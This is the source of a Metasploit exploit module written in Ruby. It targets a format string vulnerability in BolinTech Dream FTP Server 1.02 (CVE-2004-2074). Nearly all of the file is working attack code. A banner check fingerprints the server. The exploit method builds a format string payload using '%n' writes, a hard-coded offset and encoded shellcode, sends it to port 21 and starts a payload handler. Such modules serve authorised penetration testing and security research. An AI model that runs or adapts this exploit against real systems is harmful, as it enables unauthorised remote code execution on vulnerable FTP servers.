metasploit-framework/modules/exploits/windows/ftp/dreamftp_format.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Exploits::Windows::Ftp::DreamFtp_Format < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'BolinTech Dream FTP Server 1.02 Format String',
'Description' => %q{
This module exploits a format string overflow in the BolinTech
Dream FTP Server version 1.02. Based on the exploit by SkyLined.
},
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '9800'],
[ 'CVE', '2004-2074'],
[ 'URL', 'http://www.milw0rm.com/exploits/823'],
],
'Platform' => ['win'],
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[
'Dream FTP Server v1.02 Universal',
{
'Offset' => 3957680,
}
],
],
'DisclosureDate' => 'Mar 03 2004',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(21),
], self.class)
end
def check
connect
banner = sock.get(-1,3)
disconnect
if (banner =~ /Dream FTP Server/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
connect
sleep(0.25)
sploit = "\xeb\x29"
sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
sploit << "@@@@@@@@" + payload.encoded
sock.put(sploit + "\r\n")
sleep(0.25)
handler
disconnect
end
end
end